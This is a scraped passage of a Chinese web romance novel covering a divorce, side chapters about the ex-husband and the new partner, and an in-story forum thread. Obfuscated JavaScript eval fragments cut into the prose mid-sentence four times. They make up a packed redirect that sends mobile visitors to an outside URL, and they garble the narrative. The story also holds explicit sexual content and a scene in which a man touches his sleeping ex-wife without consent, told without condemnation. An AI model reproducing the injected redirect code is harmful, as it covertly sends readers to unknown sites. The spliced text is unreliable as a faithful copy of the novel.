谢念慈捏了捏小鱼的脸,说:“那爷爷奶奶又怎么办呢?他们又疼你,年年给你大红包,还带你到处去玩……妈妈要和一个你没有见过的叔叔一起生活,你还愿意跟妈妈吗?” 话已至此,聪明的小孩已经察觉到不对劲了,但小鱼又说不出个所以然,只是一眨眼,眼泪吧嗒吧嗒地掉,很委屈很委屈地说:“妈咪是不是不要我了?” 谢念慈手足无措,连忙用袖子给儿子擦眼泪:“不是的,妈咪每周末都会来看小鱼……妈咪怎么会不要我的宝贝呢?” 小鱼哭着说:“妈咪有弟弟妹妹了……” 谢念慈慌了,他紧紧抱着儿子,眼泪流个不停,竟然生出一丝荒诞的勇气。他想,他要把儿子也带走。 实在太难了,林承望会放手吗?即便林承望放手了,林父林母呢?他可以什么都不要,只求带走儿子,但几乎不可能。 小孩哭着哭着就睡过去了,谢念慈在他的床边坐了许久,满脸憔悴,又想到肚子里的胎儿,强迫自己入睡,睡得头脑迷蒙,梦里大雾弥漫,抬起头,偶尔有流星划过。 这一夜没有人能睡一个好觉。 林承望守在父亲的身边,目光近乎死寂。他听着一帮又一帮人跑过来,和他说股票跌了,万氏那边在挤兑市场,甚至询问他林高格要是没挺过来,死后的遗嘱怎么办……他不想听这些。 骆秀也陪在一旁,保养得当的脸上终于流露出苍老。在集团里的人走后,她说:“林承望,你清醒了一点没有?这个婚,必须离,我们家不可能接受一个有外遇的儿媳妇。” 林承望摇头:“我想不清楚。” 骆秀气得脸色煞白:“你啊你,到底几岁了?你以为这是小孩子过家家吗?摆明了是万峰那边的人坑我们家呢!你要是有脑子,就把婚先离了,好好把控集团,稳住股票。至于给谢念慈多少钱,你看着来就好,但是我的孙子必须留下。” 林承望只是摇头。 第二天上午,谢念慈来了。 林承望不在,病房里只有骆秀和护士。 他先是问了护士几句林高格的情况,然后走到骆秀面前,缓缓鞠了一躬,说:“骆女士,对不起,辜负了您和林董的信任。” 骆秀没有看他,一心低头给昏迷不醒的丈夫擦脸。 谢念慈就站在一旁,静候发落。 不知过了多久,骆秀停下了手里的事,抬起头看向谢念慈,目光平静悠远。她说:“在嫁给我丈夫之前,我也曾经爱过别的男人,那个男人没有钱,没有权,但手风琴弹得很好,坐在外滩的椅子上拉一曲《莫斯科的黎明静悄悄》,路过的女孩子都会偷偷看他。但我还是选择了我的丈夫,因为这是我父母的期许,和一个前途无量的男人结婚,继续家族的荣华富贵。但有时候我也会想……如果我当年和那个人走了,会拥有什么样的人生。” 谢念慈不知道该说什么,他从未看懂过这位女士。 骆秀垂着眼睛说:“我没有别的意思,也不可能容忍你出轨的事,我不会说你什么,因为某种程度上,我能理解你。但我有我的立场,最多在离婚官司上不会为难你。” 谢念慈又鞠了一躬:“谢谢。” 随后他走出门,正好碰到处理完事务的林承望。两个人在楼梯间相对无言,谢念慈向下,林承望向上,擦肩而过时,林承望紧紧攥住了谢念慈的手。 “别对我这么残忍……”林承望才吐出一个字,就已泪流满面,“阿慈,没必要离婚的,我说了,孩子我能接受,我可以把这个孩子视如己出……” 谢念慈问:“你父母那边呢?” 林承望沉默。 谢念慈浅浅一笑:“你的父亲如今躺在了病床上,可你还是没能逃离他的阴影,就算你能接纳,你的父母也不可能接纳我和这个孩子,因为你压不住他们。” 林承望声音艰涩说:“我会争取的。” 谢念慈摇头:“没必要,因为……我已经不爱你了。我无法和一个我已经不爱的人一起生活,一直耗着彼此,这是一种折磨。” 林承望不肯放手:“如果……如果我也能接受他呢?我接受你和他的感情,接受你出去找别的男人,只要不让我看见……阿慈,你不能说不爱的话,那以前的那些事?你说爱我的话也都不算数了吗?” 谢念慈有些无奈,他走下一级台阶,和林承望平起平坐,两个人靠得很近。他伸出手,整理林承望起皱的衬衫和领带,说:“当然算数,林承望,我以前真的很爱很爱你,你和儿子就是我的全部世界。直到今日,我也很珍惜我们的过去,珍惜我对你的爱,没有那些过去就不会有现在的我……林承望,放手吧。” 林承望握住他手腕的手剧烈颤抖。 “好。” 林承望说。 “我同意离婚……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255347|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一场离婚官司打了两个月,反反复复,主要是林高格和骆秀那一边在重重阻挠,为了小鱼的抚养权。 令谢念慈意外的是,林承望主动放弃了儿子的抚养权,面对父母的反对态度十分强硬,几乎把能给的全给他了,记在他名下的房子、几辆车、名包高定首饰藏品……包括日后两个孩子的抚养费、保姆费等费用。 领完离婚证的那天,谢念慈回家里收拾东西。 差不多五个月了,他的肚子已经显怀,穿着宽松的毛衣和长裙。东西很多,光是衣服就装了十几箱,请了搬家公司,来回几趟,把东西搬到蒋淳安置好的新家。 偌大的衣帽间一点一点搬空,谢念慈在衣柜深处翻出一个久未打开的箱子,从里面翻出一大堆票根、信件、情书以及一只细长的蓝发夹。 林承望说:“把这些东西留给我吧。” 谢念慈说:“一人一半。” 林承望点点头,随后蹲下身,看着因为怀孕而有些疲倦的前妻,说:“等你那边安顿下来了,小孩出生了,我再把小鱼送过去……阿慈,我只有一个要求,不允许拿我分给你的财产去资助那个人的事业,你自己想怎么花都行,给孩子花也行,但不能给他,好不好?” 谢念慈说:“嗯,我明白。” 又收拾了一阵,两个人一起坐电梯下楼。 行到一半,林承望说:“我可以再抱一下你吗?” 说完,也不等谢念慈反应,欺身上前,把人抱了满怀。怀孕的谢念慈比平时要丰满些许,抱在怀里柔软而温暖,林承望把头埋入前妻的颈窝,轻嗅淡淡的体香。 谢念慈轻呼一声,推了推怀里的男人。 林承望说:“我不会放弃的。” 谢念慈说:“你再这样,我就拉黑你了。” 林承望只好松开手。 电梯门开了。 不远处停着一辆黑色的轿车,驾驶座上是蒋淳。 谢念慈踏出电梯,转过头对林承望说:“你也要幸福,好好照顾自己,别太逞强了。” 林承望愣在电梯里,看着轿门在眼前缓缓关闭,直到谢念慈的身影彻底消失。他长长呼出一口气,旋即又顺着轿厢缓缓下滑。 结束了。 …… “先回家?” 蒋淳给谢念慈系上安全带,问。 谢念慈摇摇头。 他看着蒋淳,故意拖长声音说:“你忘了一件事——你答应过我的!” 蒋淳摸了摸他的头:“今晚就去吗?” 谢念慈说:“今晚是双子座流星雨的极大值,不去的话……等到明年吗?” 他们开车去了七月的那个露营地。 晚上十点的时候,天空下起了雨夹雪,两个人缩在小木屋里取暖。谢念慈把手和脚全塞进蒋淳的怀里,趴在窗户前,轻轻呵出一口气,在玻璃上画出一条又一条弧线。 “一定会有的。”他说。 过了午夜,雨夹雪骤停,夜空渐渐晴朗,冬季的冷风吹散乌云,露出满天星斗,乳白色的银河静静流转。 一颗,两颗…… 细小而明亮的一线白光在夜幕乍现,又匆匆消散,接连不断,令人目不暇接。这里是观星圣地,不远处有人举着相机,高呼这是他追星多年来看过最完美的一次双子座流星雨。 谢念慈双手合十,许了一个愿。 蒋淳亲他,问:“许了什么愿?” 谢念慈煞有介事地眯起眼睛,捏住男人的脸颊,说:“我向流星许愿,许愿某个人快点给他的小孩取名字啦,前提是跟我姓。” 蒋淳笑笑:“真的让我来取名字?” 谢念慈轻轻拍了他一下:“那不然呢?” “嗯……让我好好想想……” “不急的,慢慢想。” 谢念慈看向天空一闪而过的流星,它们飞入大气层,大多却无法保存着身躯落在地球上,就好比每一天有几十万人顺着地心引力互相亲吻,但真正能走到一起的,又有多少呢? 谢念慈有时候觉得一切都很无理,他迅速地坠入情网,爱得无法自拔,却又在某个时候抽身而出,不可遏制地爱上另一个人,就像是爱神丘比特的一个玩笑。他在不断寻找自己的真命天子,林承望不是,而蒋淳会是那个人吗? 谢念慈说不准。 但谁又能知道明天的命运呢? 能爱一天是一天吧。 谢念慈很乐观,并且无所畏惧。 ——正文完—— 26.第 26 章[番外] 蒋淳洗漱到一半,还没来得及漱口,一嘴的泡沫,卫生间门口便探出一颗脑袋,对他喊:“蒋淳,蒋淳,快帮我一下……” 他漱了几下口,一边拿毛巾擦了擦脸,一边问:“怎么了?” 谢念慈小声说:“帮我系一下扣子,手没有力气,根本系不起来……”已经怀孕将近六月了,小腹隆起,胸也开始胀痛,不得已开始穿内衣,偏偏扣子又难系。 蒋淳放下毛巾,站在卫生间门口帮恋人系内衣扣子。谢念慈刚睡醒,脸庞通红,眼睛里还残留着些许睡意,头发柔软披在肩上…… ………………………… 谢念慈累得不想动。他和蒋淳抱在一起亲了一会,突然感觉小腹微痛,他皱着眉头摸了一下,发现是小孩在踢自己。 “你摸一摸!”他有些兴奋地说,声音沙哑。 蒋淳把手放在他的小腹上,小孩又不动了,很嫌弃他这个老爸一样。他说:“晚上去医院看一看吗?” 谢念慈犯懒:“不想动……” 蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260793|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淳一边亲他一边说:“还是去看一下吧,或者叫家庭医生来家里?” 谢念慈翻了一个身:“随便啦。” 他顿了一下,又翻过身,对着蒋淳说:“感觉做起来完全没问题……听说适当的房事对宝宝也有好处……” 蒋淳无奈:“我觉得这不叫适当……” 谢念慈用额头顶他:“那又不能怪我!你自己控制不住……我只是……我只是……有点痒而已……” 蒋淳只好点头:“嗯嗯,都怪我。” 27.第 27 章[番外] 热帖:《老婆的前夫阴魂不散怎么办》 楼主:rt 我和老婆在一起三年了,育有一女,老婆和前夫有一个儿子,两个孩子都由我们抚养。能理解老婆的前夫看望孩子,但老是强行留宿我老婆在他家里是什么意思? 1L 你老婆的前夫对你老婆念念不忘罢了。 2L 什么什么,前夫变小三吗? 3L 楼主:回楼上,我老婆很有素质和距离感,没有留过宿,一直很爱我,那个男的当年就是没抢过我,他老婆变成了我老婆,他连小三都不配当。 4L 哦,lz是小三上位啊 5L 男小三还占理了? 6L 先是你破坏你老婆家庭的吧? 7L 今日无事,刷到此贴,要圆寂…… 8L 这年头连男的都当小三了! 9L 楼主:话题有点偏了,我只想知道有什么方法能把老婆的前夫给弄出去。 10L lz打字的时候是不是在咬牙切齿?感觉不仅仅是想把前夫弄出去,更想把前夫给弄死吧! 11L 前夫变小三,小三变正宫,正宫变前夫,lz看开点,风水轮流转嘛,没什么是永恒不变的!与其雄竞,不如接受! 12L 我只看到一个破防的男小三上位的男人[窃笑/] 13L 别说了,lz要哭了[窃笑/] 14L 楼主:男小三又怎么了?不被爱的才是小三,我老婆跟他前夫在一起的时候,头几年勉强算得上顺风顺水,但他前夫是豪门,嫁进去后备受公婆冷落,这傻币又不好好珍惜,天天说自己忙,我老婆需求蛮大的,自然耐不住寂寞跑过来找我了。 15L 然后呢然后呢? 16L 我去真的吗?我看lz的ip地址是B市…… 17L 豪门太太出轨记[吃瓜/] 18L 想知道lz是个什么条件才能被豪门太太看上,离婚后分得的财产应该很多吧……羡慕,傍上富婆少走二十年弯路。 19L 楼主:离婚分得的财产是我老婆的,和我无关,他的前夫给前妻和孩子打抚养费是应该的,我也不会不要脸到吃我老婆的软饭。 20L 当个男小三挺有志气的。 21L 楼主:我也有自己的事业,不说家大业大,好歹三年内也靠自己在B市三环内买了两套房子,一个记在我老婆名下,一个将来给我女儿,过几年再买一套给我老婆的儿子。我从来不认为自己是小三,因为我老婆说我是他的真命天子。 22L 好羡慕你有老婆…… 23L 你老婆万一也和他前夫说过真命天子这种话呢? 24L 额额,感觉你老婆是渣女 25L lz别被骗了…… 26L 楼主:回楼上,当然不可能,我老婆超级无敌爱我,每天早上都会给我亲吻,和我软软说早安,我们一起教儿子女儿画画、唱歌,我总是说他很可爱,他就会很害羞,明明他比我大九岁,但依旧有一颗少女心……我们有都是搞艺术的,有共同话题,我走商业美术,我老婆搞纯艺,我赚钱,他想画什么就画什么。我们一有空就到处旅游,有时候带小孩,有时候不带,小孩子有点打扰我和老婆的二人世界了,他们的妈妈亲一下我,他们都要嚷着妈妈偏心,真是烦恼呢[笑/] 27L 好想掐死lz[泪奔/] 28L 兄弟们我真受不了了 29L 烦恼在哪? 30L 恨…… 31L lz的老婆借我ccb[奸笑/] 32L 楼上的人有点恶臭啊 33L 楼主:请不要对我的老婆说这种话。 34L 【该用户已被禁言】 35L 草,lz举报31楼了? 36L 楼主:夸我老婆可爱漂亮我也忍了,说那种话是干嘛?我不会让任何人给我戴绿帽的[微笑/] 37L 要是你老婆又看上更年轻的男人了呢? 38L 就是说啊,女人出轨了一次总会有第二次,天底下的好男人虽然不多,但你老婆白富美一个就算带两个娃也是抢手的啊! 39L 你们别说了,光是一个阴魂不散的前夫lz就破防了好几楼,再说下去感觉lz要气到吐血了。 40L lz一点也没有正宫的气度[鄙视/] 41L 想看lz老婆的照片[星星眼/] 42L 同楼上,想看lz老婆的照片 43L 给我们看一下嘛,看了才知道可爱不可爱嘛 44L lz老婆比lz大,lz也估计有二十多岁了,那lz的老婆快四十了,感觉完全老阿姨…… 45L 阿姨怎么你了…… 46L 四十怎么就老阿姨了,女人四十一枝花 47L 44L你不懂,最难对付老阿姨?她段位是在高级?最难对付老阿姨?她段位是在高级?不差?又会演戏?能带你纸醉金迷??最难对付老阿姨?她段位是在高级?不差?又会演戏?能带你纸醉金迷??套路深又心思细?专门?小老弟?时而御姐?时而淑女?可盐可甜可油腻?哎~吃过爱情的苦?试过?的du?千锤百炼?阅人无数?成就阿姨老江湖?阿姨不缺爱慕?阿姨不缺保护? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260794|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姨要你不玩套路?真心实意相处?哎~?顽固?very well? 48L 就要美熟阿姨,感觉身上香香的,又像妈妈又像姐姐的,说得我都想魂穿lz了…… 49L 楼主:请不要发表这种言论,小心我禁言你,说起来也真的是很烦恼,我总感觉全世界的人都对我老婆有意思,看见老婆和长得像个人的男人说话也会忍不住心烦意乱……不过我和老婆的感情依旧很好,他知道我吃醋了会黏着我。 50L lz能把自己禁言了吗??? 51L 楼主:不过感觉我老婆并不是妈妈或者姐姐类型的女人,他在儿子女儿面前是个非常非常好的妈妈,但在我面前总是各种闹小脾气,比起妈妈或者姐姐,更像是和女高中生在谈恋爱。有时候吵架了他不理我,故意在床中央放玩具熊,我真的是一句气话都说不出来。我很少买毛衣,家里的毛衣围巾都是我老婆织的,我们家孩子冬天出门总是被夸可爱可爱,孩子被夸可爱,他也会脸红…… 52L 组团脚刹lz(1/100) 53L 组团脚刹lz(2/100) …… 65L lz人呢? 66L lz的老婆好萌好萌,lz真有福气啊 67L 等一下……lz的描述……我想到了我们学校的一则八卦…… 68L 楼上什么八卦? 69L 这个链接:《B美的那个豪门太太谢教授离婚了,据说出轨了自己的男学生……》 和lz的ip地址、事业一结合,感觉完全对上了…… 70L 草草草,楼上怎么说我也想起来了…… 71L lz快出来! 72L 急急急…… 73L 我草啊第一次看到男小三正大光明秀恩爱…… 74L 而且我还听说谢教授和男小三没有领证哦 75L 那lz一口一个老婆是什么意思? 76L 居然是谢教授……是B美很多学生的白月光啊,他真的巨好,超级无敌好,有幸上过他的课,一点也不水,打分也很合理,指导毕设也很用心,说话温温柔柔的…… 77L 当年事情爆出来的时候他已经怀孕了吧 78L 是的,不过两个人交往是在毕业后了,B美的处理结果是把谢教授调到T美了,羡慕嫉妒恨T美的学生…… 79L 最令人羡慕嫉妒恨的是lz吧 80L lz,如果你是明锐画廊的老板蒋淳你就吱一声,我们绝对不弄死你? 81L lz人呢? ——该贴已被封禁—— 28.多少恨[番外] 林承望总是做梦。 梦见自己一觉穿越回几年前,穿到谢念慈刚刚生完儿子没多久的时候,给那个时候的自己一巴掌。没扇醒梦里的人,倒是把自己给扇醒了,朦朦胧胧醒过来,又是一天。林高格去世了,骆秀一心向佛,跑去不丹朝圣,偌大的集团责任全压在他的身上,终于没有父亲了,但他不快乐。 他没有搬家。 依旧住在和谢念慈的婚房里,一个人,房子里的摆设什么都没变,隔三天叫助理请保洁人员清理一趟。他睡醒了,浑身酸疼,好像真的被梦里的自己打了一顿,拖着脚跟走到客厅,胡乱喝了一杯冷水,打开电视机看股票。 茶几上放着一个相框,里面是曾经的一家三口,在相框的下方,是透明的玻璃盒,放着一枚纤细的蓝发卡,明晃晃亮眼的一抹蓝,和十多年前S市的天空一模一样。 他和谢念慈邂逅在一个音乐教室,那一天谢念慈头上就别着着一枚发卡,和他聊天,聊到了六点,急了,匆匆提着书包走了,只留下这一枚发卡,既不告诉他是哪个班的,又不告诉他真名。辛德瑞拉落下的是水晶鞋,而谢念慈落下的是蓝发卡。 国际中学圈子不大,一个长相出众的学生自然很好找,周末过后,林承望攥着那枚发卡,站在打听到的班级门口,等了十几分钟,终于,谢念慈压着点到校,一抬头,与他对视。林承望第一次领悟到文豪书里写的“红灯映雪”,他眼睁睁的,看着谢念慈在一众同学面前手足无措,耳垂红得几乎滴血,斯斯艾艾接过那枚发卡,小声说:“谢谢你……” 林承望说:“我是三班的林承望,很高兴认识你,谢念慈同学。” 自此一发不可收拾。 他们在音乐教室后的小花园里接吻,明明是国际中学,恋爱绯闻满天飞,可谢念慈很害羞,说,怕被姥姥姥爷知道了。春天的山茶杜鹃桃花樱花,红彤彤热烈的绽放,悬在他们头上,桃花樱花是细碎的花瓣,弄得他们满头满脸,亲完谢念慈就用嘴唇抿着一片花瓣,身后的山茶成朵成朵地坠落。 谢念慈是个典型的弄堂孩子,身材纤细,并非张扬明艳的容颜,而是一种古典的东方美,眉毛眼睛鼻子嘴唇无一处不柔和,像是一道纤柔的月光,穿着洗的发白的蓝衬衫,上学下学挽着姥爷的手,说英文的时候咬字很特别,很俏皮,故意模仿英腔,抿着上唇一个词一个词蹦出来,要是托着他的脸,轻轻捏住他的脸颊,能看到睫毛像小虫子扑腾的翅膀,那么柔软,那么活泼。 如果你在青春期有过这么一个恋人,必定梦里都是他的身影,春梦婉转,醒来又顾念着彼此年少,不敢真的品尝禁果,却又偷偷用舌头舔果子渗出的蜜,在音乐教室里,谢念慈眼眶里悬着泪水,欲滴不滴的,像刚刚打开的汽水,泡泡咕嘟咕嘟上涌,涌到水面上,乍然消散,只余清爽的柠檬香气。 但谢念慈又不是简单的、柔顺的少年情人,对于林承望这种自小看惯成年人分分合合的少爷来说,那太没意思了。谢念慈不会哭哭啼啼说,你摸了我,你要对我负责,他也很坏很会挑逗,问,你想不想要?十八岁生日那天,我们去开房好不好?林承望说,毕业吧,你过完十八岁生日,刚好离高考就几天。 高考完谢念慈请他到自己家做客,还未拆迁的老弄堂,一条又一条狭窄幽深的小道,阳台上飘荡着各色的衣物,女人指着不争气的老公大骂“小赤佬”,他和谢念慈蹲在楼下,喂谢念慈养的兔子。三只大肉兔,长得十分雄伟,简直是三座大肉山,三张三瓣嘴百无聊赖咀嚼着胡萝卜。谢念慈的姥姥姥爷养了猫,一只三花一只橘白,天天和隔壁的奶牛猫打架,三花猫彪悍,橘白猫胆小,一加一小于一,奶牛猫凶悍无匹咄咄逼猫,气得谢念慈抄起一旁的扫把,要给自家的猫帮忙。 几分钟后鸡飞狗跳,林承望一把拉住恋人,夺过谢念慈手里的扫把,凑过去亲他,亲恋人被气得通红的脸颊。谢念慈也害羞了,缩在他的怀里,说,其实骗了你……姥姥姥爷去参加同学会了,我不想去酒店,在我的房间好不好?谢念慈的房间朝南,此刻正是日光大好之时,上了年头的衣柜书桌散发着木头被阳光晒过后暖烘烘的气息,朱红底的碎花窗帘在夏风中荡漾,像小船的帆,窗户上摆着油绿的吊兰。谢念慈锁了门,和他滚到床上,内衣内裤袜子不一会儿都卷入了被子里,老旧的空调发出嗡鸣…… ……………… 当然……后面姥姥姥爷回来了。 好在老人家十分开明,还带着两个孩子去下馆子,街边的沪菜小馆子,桌子凳子油亮,招牌菜是葱烧大排。老人家和林承望拉家常,谢念慈坐在一旁,眼睛几乎黏在了男朋友身上。那个暑假他们过得十分尽兴,去海边旅行……只是每当他想要上强度的时候,看见谢念慈全神贯注的明亮的眼睛,又于心不忍了。暑假末尾,谢念慈参加的学校合唱团回母校搞校庆,一群人站在台上,唱《青春进行曲》,谢念慈领唱,笑容璀璨,林承望坐在台下,听恋人用温柔清亮的声音反复咏唱“我的青春小鸟一去不回来”。 时至今日,林承望还记得谢念慈姥姥家的格局,记得那间发生了初夜的卧室。狭长的客厅,餐桌、茶几、沙发和老电视上都盖了白色蕾丝布,碎花的窗帘,生锈的渗出赭红色的铁栅栏,摆满了瓶瓶罐罐的厨房,窄小的床,一抽屉的谢念慈的内衣内裤,很寻常很乖巧的款式,纯棉的,散发着好闻的栀子花洗涤剂的香味。 林承望猛地吸一口气,回过神,股票起起伏伏,惨绿或鲜红,像是两条波动的生命线。他揉了揉额角,走去厨房,拉开冰箱冷冻室,取出一袋荠菜肉馅儿的水饺,往锅里烧开水,扑通扑通下水饺。 水饺是谢念慈和覃阿姨一起包的,上周他去看望儿子,人家心善,看他脸颊消瘦,给了一大袋水饺,自己搅拌的馅儿,自己擀的皮,好吃得要死。他就是这么不要脸,每周固定骚扰谢念慈。谢念慈生完女儿后反而更年轻了,比以前丰腴了一些,大概是性格天真,举止仍然少女,身体却又十足的熟女风韵,结合起来性感得一塌糊涂。林承望看在眼里,许许多多人同样看在眼里,觊觎着,诅咒蒋淳下一秒就从世界上消失。男人就是这种既要又要的下贱货色,要成熟的肉/体,还要少女一般的容颜和心态,所以谢念慈对他对这些人有着致命的诱惑力。 林承望吃了早饭,下楼自个开车去公司。 路上又堵车了,他点开电台,里头放着一首粤语歌,男人深情唱着和前女友分开后的念念不忘,歌词写得极狠辣,词作人写道:个个探问爱恋不老的秘方,唯独壮烈离场可百世流芳……他猛地一刹车,身后的鸣笛声此起彼伏。 他狼狈地关上电台。 青春的洪水袭来,他和谢念慈拥抱在一起,穿越过滔天洪水,捧花的谢念慈盛装出席,却只是为了错过彼此。他每夜都偷偷看谢念慈的朋友圈、社交平台,不是偷偷看,是正大光明看,还点赞,还留言,尽显不要脸之风度。谢念慈养小孩,养猫,一只三花一只橘白,和少年时代一模一样,几乎令林承望怀疑那两只活了近二十年才离世的老猫转世回来找小主人了,天天晒猫晒娃。哦,谢念慈还买婚纱,各种各样的婚纱,不和蒋淳领证,但沉迷婚纱无法自拔,甚至还想创立自己的品牌当婚纱设计师。 这些年在他的视奸骚扰下,他们藕断丝连。 如果放在别人身上,说不定要怪谢念慈犹犹豫豫,吃着碗里看着锅里,但林承望很清楚,这人就是心太软,你无法指责他滥情。谢念慈对现任和儿女的爱都满溢出来了,而林承望是那个企图沾染一点爱的失败者。别人说谢念慈很旺夫,现在的对象从穷光蛋短短几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263703|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事业做得风生水起,而离开了谢念慈的林承望百般不顺,背着家族企业奔波劳累。林承望每每看到这些言论,跟吃了一大口醋一样,那醋走遍他的四肢百骸,时不时从七窍中流出,又酸又涩。 儿子还没被接走的时候,有一天发烧了,谢念慈暂且放下嗷嗷待哺的小女儿,回到他们曾经的家中照顾儿子。那个时候的谢念慈正值哺乳期……林承望从外地赶回来时,谢念慈已经累得睡着了,躺在儿子的床边……还未来得及取下。林承望记得那一天的谢念慈穿了一件浓绿的毛呢大衣,绿得潮湿,融融的在黑夜里化开,衣摆扫到哪里,哪里就染上绿色,内衬却穿了一条浅粉的长纱裙,浓绿的大衣如苔藓如橡树叶子,渐次沉淀,而那粉色柔纱那么轻盈,浮在林承望的眼睛里…… 他替谢念慈取下……他也很奇怪,自己那段时间怎么就没了欲望?大概是拥有得太多,一切都令他索然无味,谢念慈成了最听话的那个人,他认为完全征服了妻子。男人一旦失去征服欲,就会立马萎靡不振,再活泼的美人也不过一具枯骨,偏偏现在的谢念慈不再属于他了,他一回想起那日被别的男人拥有的谢念慈,征服欲再次上涌,闹得他浑身难受。 儿子揉了揉眼睛,将要转醒,林承望一惊,匆匆忙忙松开了前妻,跑去卫生间清洗吸奈器,偷偷喝了两瓶,然后若无其事,送谢念慈下楼。 谢念慈一走,他马上被拉黑了。 求了一个月,谢念慈才把他放出来。 谢念慈就是心软,穷小子带他看了一场不要钱的流星雨,就他妈死心塌地爱上了人家,现在蒋淳也经常送那些包包和首饰了,林承望阴冷地观察,发现谢念慈爱不释手。这人似乎永远活在自己的罗曼蒂克的爱情神话之中,不能说谢念慈虚荣,因为虚荣不是那个样子的,哪怕你穷得只能送他一个吻,一旦他爱上了你,他什么也不要,只要你。真正虚荣的是他们这些男人,像两只雄鸡斗来斗去,就为了谢念慈的心的归属,没了谢念慈的爱,他们不过是芸芸众生中最最普通的男人,这何尝不是一种虚荣? 他想起很多东西,谢念慈手上的山茶花手套,还是当年他给他买的那一双吗?林承望去翻了翻香奶奶的官网,发现现在谢念慈手上的是今年的新品。 这天晚上,林承望有应酬。 请的是国土资源部的某位大人物,他作为大集团老总,姗姗来迟,没一个人敢说话,而大人物来得更晚。在官场上,迟到是权力的象征,唯有压轴登场,才能全然彰显自己的出众、特殊。 喝到一半,大人物站起来要吟诗一首,林承望偷偷给前妻发消息。 他说,自己喝得头晕。 过了一会儿,谢念慈回信息让他少喝点。 林承望的心忽然盈满了糖水,被银勺子搅得叮当作响,他问,宝宝这样和我说话,那个人不会生气吗? 谢念慈说,他看着我们发消息呢,拉黑你了,不送。 大人物探脑袋过来,问,林总这是……? 林承望叹气,前妻。 哦哦,唉,前妻……大人物拍了拍他的肩膀,说,我也有一个念念不忘的前妻,当年文工团一枝花,可惜没能走到最后。 说着大人物悲从中来,气沉丹田,起了一个高调:多少恨—— 昨夜梦魂中! 大家纷纷鼓掌,好!好!不愧是x部长啊! 大人物继续吟诵。 还似旧时游上苑,车如流水马如龙。 花月正春风。 林承望打算明天去求一求谢念慈,别拉黑他,他还要靠着谢念慈的朋友圈过活呢。但不论如何,青春小鸟还是一去不回来了。他就这么可恨地活着,穷追不舍,奢望前妻再爱他一次,即便知道不可能。 但毕竟人就是这么下贱的东西。 29.金色年华[番外] 蒋淳回到家时,已经将近十一点。 两个孩子都已经睡了,没和妈妈睡,不知道是谢念慈不让,还是他们终于懂事一回,知道不能打扰家长的夜生活。不过奇怪的是,谢念慈也没出来迎接他。蒋淳急匆匆推开卧室的门,发现人已经躺床上睡着了,开着小夜灯,长发柔柔落在脸颊上,神情恬静。 人都睡了,但问题是今天周五。 蒋淳不会用“交公粮”来形容他和谢念慈之间的性生活,那是没了激情的老夫老妻才会用的词,只是习惯一旦稳定下来,到了点,自然是蠢蠢欲动,非得好好沉溺一番,方才满足。他们的感情里,性一直是主旋律,无需回避,除了周末的晚上,工作日也常常见缝插针地□□,但周末晚上会更加……夸张一点。 过了三十五岁,谢念慈非但没有表现出一点疲倦的姿态,反而活力四射,滑雪冲浪徒步旅行一个也不差,甚至在筹备自己的婚纱品牌。他们每年夏天都会去海边,马尔代夫或者夏威夷,谢念慈每年都卯足了劲儿要学冲浪和潜水,但一下水,立马趴在冲浪板上,很紧张地看着蒋淳,一来二去,蒋淳学会了,他还在原地踏步,说到底,就是觉得看起来很好玩而已。 蒋淳只好带着他在海岸上漂荡,这人见旁边没什么人了,就贴上来,解开罩在外面的防晒衣,露出比基尼。蒋淳真拿他没办法,那几片布料风浪一打就要掉下去了,顺着海水飘走,但不管怎么说都是一种炫耀吧。 就像蒋淳再也不穿灰色运动裤了,因为没必要,那是年轻男人展示雄风的手段,他已经不再需要,这也是一种炫耀。 蒋淳脱掉西装外套,摘掉眼镜,走了几步,忽然踢掉什么东西,弯腰捡起来,发现是谢念慈惯常穿的睡衣。他微微皱起眉,拎着睡衣坐在床边,掀开被子,一看谢念慈的穿着,当即什么都明白了。 ……………… 